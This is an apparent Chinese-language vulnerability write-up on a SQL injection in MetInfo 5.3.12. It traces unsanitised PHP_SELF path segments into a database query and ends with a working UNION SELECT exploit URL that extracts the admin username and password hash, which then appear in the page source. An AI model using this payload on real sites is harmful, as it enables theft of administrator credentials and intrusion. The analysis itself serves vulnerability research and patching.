MetInfo 5.3.12 注入漏洞

最新版尝试通过,具体的版本为5.3.12.这是一个比较老的漏洞了,不知道为什么,metinfo 还是没有修复,网上的介绍都比较简单,我这里就详细的解释一下
\app\system\include\compatible\metv5_top.php

//获取当前应用栏目信息
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
print_r($PHP_SELFs);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
$column = DB::get_one($query);

这里调用了 $_SERVER[‘SCRIPT_NAME’] 去获取网站路径,但是这里有一个问题就是,路径中并没有waf 处理,可以导致一些安全问题,
代码里面就直接 explode 函数对路径进行了切割,这里取出了倒数第二个参数,并且未经过处理就带入了 sql 语句里面,
我们看看 这个文件的剩下的一些代码

$met_module =  $column['module'];
if($met_module > 1000){
    //设置SEO参数
    switch($_M['config']['met_title_type']){
        case 0:
            $webtitle = '';
            break;
        case 1:
            $webtitle = $_M['config']['met_keywords'];
            break;
        case 2:
            $webtitle = $_M['config']['met_webname'];
            break;
        case 3:
            $webtitle = $_M['config']['met_keywords'].'-'.$_M['config']['met_webname'];
    }
    $met_title = $webtitle;
 
    $met_title = $met_title?$column['name'].'-'.$met_title:$column['name'];
    $met_title = $column['ctitle'] ? $column['ctitle'] : $met_title;
    $show['description']=$column['description']?$column['description']:$_M['config']['met_description'];
    $show['keywords']=$column['keywords']?$column['keywords']:$_M['config']['met_keywords'];
        
    $met_module =  $column['module'];
 
    $classnow = $column['id'];
    $class1 = $column['id'];
    if($column['releclass']){
        $class1 = $column['bigclass'];
    }
}else{
    if(!$class1 && !$class2 && !$class3 && !$metid){
        //$classnow = $column['id'];
        $class1 = $column['id'];
        if($column['releclass']){
            $class1 = $column['bigclass'];
        }       
    }
    
}
//设置网站根
define('ROOTPATH', PATH_WEB);
function is_letf_exists($left){
    global $_M;
    //$left = array('sidebar');
    $file = PATH_TEM.$left;
    if(file_exists($file.'.php')||file_exists($file.'.html')){
        return true;
    }
    return false;
}
//把$_M数组,DB转换成旧系统变量写法
foreach($_M['config'] as $key => $val){
    $$key=$val;
}
foreach($_M['table'] as $key => $val){
    $k="met_{$key}";
    $$k=$val;
}
foreach($_M['word'] as $key => $val){
    $k="lang_{$key}";
    $$k=$val;
}
 
$lang=$_M['lang'];
 
$db = new DB();
 
//global $index_url,$lang_home,$nav_list,$nav_list2,$nav_list3,$navdown,$lang;
 
//页面模板参数设置
$met_chtmtype=".".$met_htmtype;
$met_htmtype=($lang==$met_index_type)?".".$met_htmtype:"_".$lang.".".$met_htmtype;
$langmark='lang='.$_M['lang'];
 
$met_langadmin=$_M['langlist']['admin'];
 
$met_langok=$_M['langlist']['web'];
 
$index_url=$_M['langlist']['web'][$_M['lang']]['met_weburl'];
 
$m_now_year = date('Y');
 
$member_index_url="index.php?lang=".$lang;
$member_register_url="register_include.php?lang=".$lang;
 
//2.0
$index_c_url=$met_index_url[cn];
$index_e_url=$met_index_url[en];
$index_o_url=$met_index_url[other];
 
//2.0
$searchurl           =$met_weburl."search/search.php?lang=".$lang;
$file_basicname      =PATH_WEB."lang/language_".$lang.".ini";
$file_name           =PATH_WEB."templates/".$met_skin_user."/lang/language_".$lang.".ini";
$str="";
//
//语言数组设置
foreach($met_langok as $key=>$val){
    $indexmark=($val[mark]==$met_index_type)?"index.":"index_".$val[mark].".";
    $val[met_weburl]=$val[met_weburl]<>""?$val[met_weburl]:$met_weburl;
    $val[met_htmtype]=$val[met_htmtype]<>""?$val[met_htmtype]:$met_htmtype;
    if($val[useok]){
        $met_index_url[$val[mark]]=$val[met_webhtm]?$val[met_weburl].$indexmark.$val[met_htmtype]:$val[met_weburl]."index.php?lang=".$val[mark];
        if($val[met_webhtm]==3)$met_index_url[$val['mark']] = $val['met_weburl'].'index-'.$val['mark'].'.html';
        if($htmpack){
            $navurls = $index=='index'?'':'../';
            $met_index_url[$val['mark']]=$navurls.$indexmark.$val['met_htmtype'];
        }
        if($val[mark]==$met_index_type)$met_index_url[$val[mark]]=$val[met_weburl];
        if($htmpack && $val[mark]==$met_index_type){
            $met_index_url[$val[mark]]=$navurls;
        }
        if($val[link]!="")$met_index_url[$val[mark]]=$val[link];
        if(!strstr($val[flag], 'http://')){
            $navurls = $index=='index'?'':'../';
            if($index=="index"&&strstr($val[flag], '../')){
                $met_langlogoarray=explode("../",$val[flag]);
                $val[flag]=$met_langlogoarray[1];
            }
            if(!strstr($val[flag], 'http://')&&!strstr($val[flag], 'public/images/flag/'))$val[flag]=$navurls.'public/images/flag/'.$val[flag];
        }
        $met_langok[$val[mark]]=$val;
    }
}
 
$tmpincfile=PATH_WEB."templates/{$_M[config][met_skin_user]}/metinfo.inc.php";
require $tmpincfile;
//flash设置数组
$met_flasharray = $_M['flashset'];
$m_now_time     = time();
$m_now_date     = date('Y-m-d H:i:s',$m_now_time);
$m_now_counter  = date('Ymd',$m_now_time);
$m_now_month    = date('Ym',$m_now_time);
$m_now_year     = date('Y',$m_now_time);
//公用数据处理文件与模板标签文件处理
if($met_module && $met_module > 1000){
    require_once PATH_WEB.'include/head.php';
}
 
//把上面赋值的变量与数组转成全局数组
$vars2=array_keys(get_defined_vars());
$a2=get_defined_vars();
foreach($vars2 as $key => $val){
    global $$val;
    $$val=$a2[$val];
}
//dump($_M['form']);
//echo $metid;
if($met_module && $met_module < 1000){
    if(isset($murlid)){
        require_once PATH_WEB.'include/htmlurl.php';
    }
    if($metid){
        global $filpy,$fmodule,$cmodule;
        require PATH_WEB."include/module.php";
    }
    if($met_module == 3){
        if(M_CLASS == 'product_show'){
            $mdname = 'product';
            $showname = 'showproduct';
            $dbname = $met_product;
            $listnum = $met_product_list;
            $imgproduct = 'product';
            require_once PATH_WEB.'/include/global/showmod.php';
            $product = $news;
            $product_list_new  = $md_list_new;
            $product_class_new = $md_class_new;
            $product_list_com  = $md_list_com;
            $product_class_com = $md_class_com;
            $product_class     = $md_class;
            $product_list      = $md_list;
            require_once PATH_WEB.'public/php/producthtml.inc.php';
        }else{
            $mdname = 'product';
            $showname = 'showproduct';
            $dbname = $met_product;
            $dbname_list = $met_product_list;
            $mdmendy = 1;
            $imgproduct = 'product';
            $class1re = '';
            require_once PATH_WEB."include/global/listmod.php";
            $product_listnow = $modlistnow;
            $product_list_new  = $md_list_new;
            $product_class_new = $md_class_new;
            $product_list_com  = $md_list_com;
            $product_class_com = $md_class_com;
            $product_class     = $md_class;
            $product_list      = $md_list;
            require_once PATH_WEB.'public/php/producthtml.inc.php';
        }
 
    }
}
require_once PATH_WEB."public/php/methtml.inc.php";
if(!function_exists('rgb2hex')){
    require_once PATH_WEB."public/php/waphtml.inc.php";
    function toHex($N) {
        if ($N==NULL) return "00";
        if ($N==0) return "00";
        $N=max(0,$N);
        $N=min($N,255);
        $N=round($N);
        $string = "0123456789ABCDEF";
        $val = (($N-$N%16)/16);
        $s1 = $string{$val};
        $val = ($N%16);
        $s2 = $string{$val};
        return $s1.$s2;
    }
 
    function rgb2hex($r,$g,$b){
        return toHex($r).toHex($g).toHex($b);
    }
 
    function hex2rgb($N){
        $dou = str_split($N,2);
        return array(
            "R" => hexdec($dou[0]),
            "G" => hexdec($dou[1]),
            "B" => hexdec($dou[2])
        );
    }
}
//页面内容区块顶部导航处理,左侧导航调用系统时候生效,自定义无效。
if($met_module && $met_module > 1000){
    if($class_list[$classnow]['releclass']){
        $pre_class = $class_list[$classnow]['bigclass'];
        //dump($class_list[$classnow]);
        if($class_list[$pre_class][new_windows] == 0)$class_list[$pre_class][new_windows] = '_self';
        $nav_x[name]="<a href=\"{$class_list[$pre_class][url]}\" target=\"{$class_list[$pre_class][new_windows]}\">{$class_list[$pre_class][name]}</a> > ";
    }
 
    $nav_x[name].="<a href=\"{$class_list[$classnow][url]}\" target=\"{$class_list[$classnow][new_windows]}\">{$class_list[$classnow][name]}</a>";
}
 
//把上面赋值的变量与数组转成全局数组
$vars3=array_keys(get_defined_vars());
$a3=get_defined_vars();
foreach($vars3 as $key => $val){
    if(!isset($a2[$val])){
        global $$val;
        $$val=$a3[$val];
    }
}
$met_title = $_M['plugin']['para']['met_title'] ? $_M['plugin']['para']['met_title'] : $met_title;
$show['description'] = $_M['plugin']['para']['met_description'] ? $_M['plugin']['para']['met_description'] : $show['description'];
$show['keywords'] = $_M['plugin']['para']['met_keywords'] ? $_M['plugin']['para']['met_keywords'] : $show['keywords'];
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.

这里将数据库查询获取的参数写入了系统变量,并且我们看里面重要的的代码

//公用数据处理文件与模板标签文件处理
if($met_module && $met_module > 1000){
    require_once PATH_WEB.'include/head.php';
}

最后调用了一 \app\system\web\user\templates\met\head.php

<html>
<head>
<meta charset="utf-8" />
<title>{$_M['tem_data']['title']}</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport" />
<meta name="generator" content="MetInfo"  data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" />
<link href="{$_M['url']['site']}favicon.ico" rel="shortcut icon" />
<link rel="stylesheet" type="text/css" href="{$_M['url']['pub']}bootstrap/css/bootstrap.min.css" />

这里的 data-variable=”{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}”就是
将系统参数写入网页head头了,所以我们可以看见回显,下面只用找到一个点包含这个文件,就完成了触发了
我们来看一个漏洞的触发点
\member\login.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
 
//接口
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', 'user');
@define('M_MODULE', 'web');
@define('M_CLASS', 'login');
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

继续跟进 \app\system\entrance.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
 
//版本号
define ('SYS_VER', 'beta 1.101');
define ('SYS_VER_TIME', '20150511');
 
header("Content-type: text/html;charset=utf-8");
 
error_reporting(E_ERROR | E_PARSE | E_CORE_ERROR |E_COMPILE_ERROR | E_USER_ERROR );
//error_reporting(E_ALL);
PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
 
@set_time_limit(0);
 
define('IN_MET', true);
 
//网站根目录
define ('PATH_WEB', substr(dirname(__FILE__),0,-10));
//应用开发包根目录
define ('PATH_APP', PATH_WEB."app/");
//应用文件根目录
define ('PATH_ALL_APP', PATH_WEB."app/app/");
//配置文件根目录
define ('PATH_CONFIG', PATH_WEB."config/");
//缓存文件根目录
define ('PATH_CACHE', PATH_WEB."cache/");
//应用开发框架内核根目录
define ('PATH_SYS', PATH_APP."system/");
 
//系统类根目录
define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/");
//系统方法根目录
define ('PATH_SYS_FUNC', PATH_WEB."app/system/include/function/");
//系统模板公用文件根目录
define ('PATH_SYS_PUBLIC', PATH_WEB."app/system/include/public/");
//系统模块根目录
define ('PATH_SYS_MODULE', PATH_WEB."app/system/include/module/");
 
if (!defined('M_TYPE')) {
    if(file_exists(PATH_APP.'app/'.M_NAME.'/')&&M_NAME){
        define('M_TYPE', 'app');
    }else{
        define('M_TYPE', 'system');
    }
}
 
if (!defined('M_MODULE')) {
    define ('M_MODULE', 'include');
    define ('M_CLASS', $_GET['c']);
    define ('M_ACTION', $_GET['a']);
}
//当前文件夹地址
if(M_TYPE == 'system'){
    if(M_MODULE == 'include'){
        define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/module/');
    }else{
        define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/'.M_NAME.'/');
    }
}else{
    define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'.M_MODULE.'/');
    define ('PATH_APP_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/');
}
 
define ('PATH_MODULE_FILE', PATH_APP.'system'.'/'.M_MODULE.'/');
//程序运行开始时间
define ('TIME_SYS_START', time());
//表单变量自动过滤
define ('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
 
//当前访问的主机名
define ('HTTP_HOST', $_SERVER['HTTP_HOST']);
//来源页面
define('HTTP_REFERER', $_SERVER['HTTP_REFERER']);
//脚本路径
define ('PHP_SELF', $_SERVER['PHP_SELF']=="" ? $_SERVER['SCRIPT_NAME'] : $_SERVER['PHP_SELF']);
 
if (!preg_match('/^[A-Za-z0-9_]+$/', M_TYPE.M_NAME.M_MODULE.M_CLASS.M_ACTION)) {
    echo 'Constants must be numbers or letters or underlined';
    die();
}
 
require_once PATH_SYS_CLASS.'load.class.php';
 
load::module();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

继续跟进 load::module() \app\system\include\class\load.class.php

    public static function module($path = '', $modulename = '', $action = '') {
        if (!$path) {
            if (!$path) $path = PATH_OWN_FILE;
            if (!$modulename) $modulename = M_CLASS;
            if (!$action) $action = M_ACTION;
            if (!$action) $action = 'doindex';
        }
        
        return self::_load_class($path, $modulename, $action);
    }

跟进 _load_class()

private static function _load_class($path, $classname, $action = '') {
        $classname=str_replace('.class.php', '', $classname);
        $is_myclass = 0;
        if(!self::$mclass[$classname]){
            if(file_exists($path.$classname.'.class.php')){
                require_once $path.$classname.'.class.php';
            } else {
                echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
                exit;
            }
            $myclass = "my_{$classname}";
            if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
                $is_myclass = 1;
                require_once $path.'myclass/'.$myclass.'.class.php';
            } 
        }
        if ($action) {
            if (!class_exists($classname)) {
                die($action.' class\'s file is not exists!!!');
            }
            if(self::$mclass[$classname]){
                $newclass = self::$mclass[$classname];
            }else{
                if($is_myclass){
                    $newclass = new $myclass;
                }else{
                    $newclass = new $classname;
                }
                self::$mclass[$classname] = $newclass;
            }
            if ($action!='new') {
                if(substr($action, 0, 2) != 'do'){
                    die($action.' function no permission load!!!');
                }
                if(method_exists($newclass, $action)){
                    //var_dump($action);
                    //var_dump($newclass);
                    call_user_func(array($newclass, $action));
                }else{
                    die($action.' function is not exists!!!');
                }
            }
            return $newclass;
        }
        return  true;
    }

这里的代码先就是基础的赋值这些的,最重要的是 call_user_func(array($newclass, $action)); 这行代码,里面的值我打印出来了 如下图

call_user_func 函数可以实例化 且 调用你传入的方法,也可以传参,这里只是实例化后调用方法,我们继续
\app\system\web\user\login.class.php

public function doindex() {
        global $_M;
        $session = load::sys_class('session', 'new');
 
        // 如果已登录直接跳转到个人中心
        if($_M['user'])
        {
            okinfo($_M['url']['user_home']);
        }
        // 如果从其他页面过来
        if(isset($_SERVER['HTTP_REFERER']))
        {   
            // 是否从本站过来
            $referer = parse_url($_SERVER['HTTP_REFERER']);
            if($referer['host']==$_SERVER['HTTP_HOST'])
            {
                // 来源页面保存到cookie
                setcookie("referer",$_SERVER['HTTP_REFERER']);
            }
        }
        if($session->get("logineorrorlength")>3)$code=1;
        require_once $this->template('tem/login');
    }

我们继续跟进最后一串代码 require_once $this->template(‘tem/login’);
\app\system\web\user\class\userweb.class.php

protected function template($path){
        global $_M;
        list($postion, $file) = explode('/',$path);
        if ($postion == 'own') {
            return PATH_OWN_FILE."templates/met/{$file}.php";
        }
        if ($postion == 'ui') {
            return PATH_SYS."include/public/ui/web/{$file}.php";
        }
        if($postion == 'tem'){
            if($_M['custom_template']['sys_content']){
                $flag = 1;
            }else{
                $flag = 0;
            }
            if (file_exists(PATH_TEM."user/{$file}.php")) {
                $_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php";
            }else{  
                if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
                    $_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
                }
            }
            if($flag == 1){
                return $_M['custom_template']['sys_content'];
            }else{
                return $this->template('ui/compatible');
            }
            
        }           
 
    }

最后返回了 \app\system\include\public\ui\web\compatible.php 文件的路径 , 在上面的login.class.php 的代码里完成了包含,
\app\system\include\public\ui\web\compatible.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
 
defined('IN_MET') or exit('No permission');
 
/*兼容标签*/
 
require_once PATH_WEB.'app/system/include/compatible/metv5_top.php';
require_once $_M['custom_template']['sys_content'];
 
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

哈哈 ,这里就包含了我们最开始的漏洞点 metv5_top.php,也就是我们控制路径传入的值,就会造成注入了
exp:

http://127.0.0.1:82/MetInfo5.3/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa

右键查看源码就可以看见结果了

附上一个案例

发表评论